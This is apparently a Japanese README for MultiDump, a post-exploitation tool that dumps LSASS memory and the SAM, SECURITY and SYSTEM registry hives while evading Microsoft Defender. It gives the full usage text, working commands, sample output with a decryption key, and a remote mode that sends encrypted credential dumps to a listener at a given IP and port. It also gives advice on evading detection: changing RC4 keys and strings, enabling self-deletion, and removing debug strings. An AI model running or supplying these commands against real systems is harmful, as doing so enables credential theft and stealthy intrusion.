
MultiDumpは、LSASSメモリを慎重にダンプおよび抽出するためのポストエクスプロイテーションツールです。
MultiDumpは、C言語で書かれたポストエクスプロイテーションツールで、DefenderのアラートをトリガーせずにLSASSメモリを目立たずダンプ・抽出するためのもので、Pythonで書かれたハンドラを備えています。

ブログ記事: https://xreous.io/posts/multidump
MultiDumpは、ProcDump.exeまたはcomsvc.dllを介したLSASSダンプをサポートし、2つのモードを提供します。ローカルモードではダンプファイルを暗号化してローカルに保存し、リモートモードではダンプをハンドラに送信して復号化・分析を行います。
__ __ _ _ _ _____
| \/ |_ _| | |_(_) __ \ _ _ _ __ ___ _ __
| |\/| | | | | | __| | | | | | | | '_ ` _ \| '_ \
| | | | |_| | | |_| | |__| | |_| | | | | | | |_) |
|_| |_|\__,_|_|\__|_|_____/ \__,_|_| |_| |_| .__/
|_|
Usage: MultiDump.exe [-p <ProcDumpPath>] [-l <LocalDumpPath> | -r <RemoteHandlerAddr>] [--procdump] [-v]
-p Path to save procdump.exe, use full path. Default to temp directory
-l Path to save encrypted dump file, use full path. Default to current directory
-r Set ip:port to connect to a remote handler
--procdump Writes procdump to disk and use it to dump LSASS
--nodump Disable LSASS dumping
--reg Dump SAM, SECURITY and SYSTEM hives
--delay Increase interval between connections to for slower network speeds
-v Enable verbose mode
MultiDump defaults in local mode using comsvcs.dll and saves the encrypted dump in the current directory.
Examples:
MultiDump.exe -l C:\Users\Public\lsass.dmp -v
MultiDump.exe --procdump -p C:\Tools\procdump.exe -r 192.168.1.100:5000
usage: MultiDumpHandler.py [-h] [-r REMOTE] [-l LOCAL] [--sam SAM] [--security SECURITY] [--system SYSTEM] [-k KEY] [--override-ip OVERRIDE_IP]
Handler for MultiDump
options:
-h, --help show this help message and exit
-r REMOTE, --remote REMOTE
Port to receive remote dump file
-l LOCAL, --local LOCAL
Local dump file, key needed to decrypt
--sam SAM Local SAM save, key needed to decrypt
--security SECURITY Local SECURITY save, key needed to decrypt
--system SYSTEM Local SYSTEM save, key needed to decrypt
-k KEY, --key KEY Key to decrypt local file
--override-ip OVERRIDE_IP
Manually specify the IP address for key generation in remote mode, for proxied connection
すべてのLSASS関連ツールと同様に、Administrator/SeDebugPrivilege権限が必要です。
ハンドラは、LSASSダンプを解析するためにPypykatzに依存し、レジストリセーブを解析するためにimpacketに依存しています。これらは環境にインストールされている必要があります。All detection methods failedというエラーが表示された場合、Pypykatzのバージョンが古い可能性があります。
デフォルトでは、MultiDumpはComsvc.dllメソッドを使用し、暗号化されたダンプをカレントディレクトリに保存します。
MultiDump.exe
...
[i] Local Mode Selected. Writing Encrypted Dump File to Disk...
[i] C:\Users\MalTest\Desktop\dciqjp.dat Written to Disk.
[i] Key: 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
./MultiDumpHandler.py -l dciqjp.dat -k 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
--procdumpが使用された場合、ProcDump.exeがディスクに書き込まれ、LSASSをダンプします。
cmdでは、--procdumpを_使用しなければなりません_。そうしないと、#5に従って失敗します。可能であれば、常にpowershellを使用することをお勧めします。
リモートモードでは、MultiDumpはハンドラのリスナーに接続します。
./MultiDumpHandler.py -r 9001
[i] Listening on port 9001 for encrypted key...
MultiDump.exe -r 10.0.0.1:9001
キーはハンドラのIPとポートで暗号化されます。MultiDumpがプロキシを経由して接続する場合、ハンドラは--override-ipオプションを使用して、リモートモードでのキー生成にIPアドレスを手動で指定する必要があります。これにより、復号化IPがMultiDumpの-rで設定された期待されるIPと一致し、復号化が正しく機能します。
--regを使用すると、SAM、SECURITY、SYSTEMハイブをダンプする追加オプションが利用可能です。復号化プロセスはLSASSダンプと同じです。これは、ポストエクスプロイトの情報収集を容易にするための便利な機能です。
Visual Studioで開き、Releaseモードでビルドします。
コンパイル前にバイナリをカスタマイズすることをお勧めします。例えば、静的ストリングやそれらを暗号化するために使用されるRC4キーを変更するなどです。そのために、別のVisual StudioプロジェクトEncryptionHelperが含まれています。キーまたはストリングを変更するだけで、コンパイルされたEncryptionHelper.exeの出力をMultiDump.cとCommon.hに貼り付けることができます。
自己削除は、Common.h内の次の行をコメント解除することで切り替えられます:
#define SELF_DELETION
ストリング分析をさらに回避するために、Debug.h内の次の行をコメントアウトすることで、ほとんどの出力メッセージをコンパイルから除外できます:
//#define DEBUG
MultiDumpはWindows 10 22H2 (19045)で検出される可能性があります(ある意味で)、そして私はそれに対する修正を実装しました(ある意味で)。調査と実装はそれ自体ブログ記事に値します:https://xre0us.io/posts/saving-lsass-from-defender/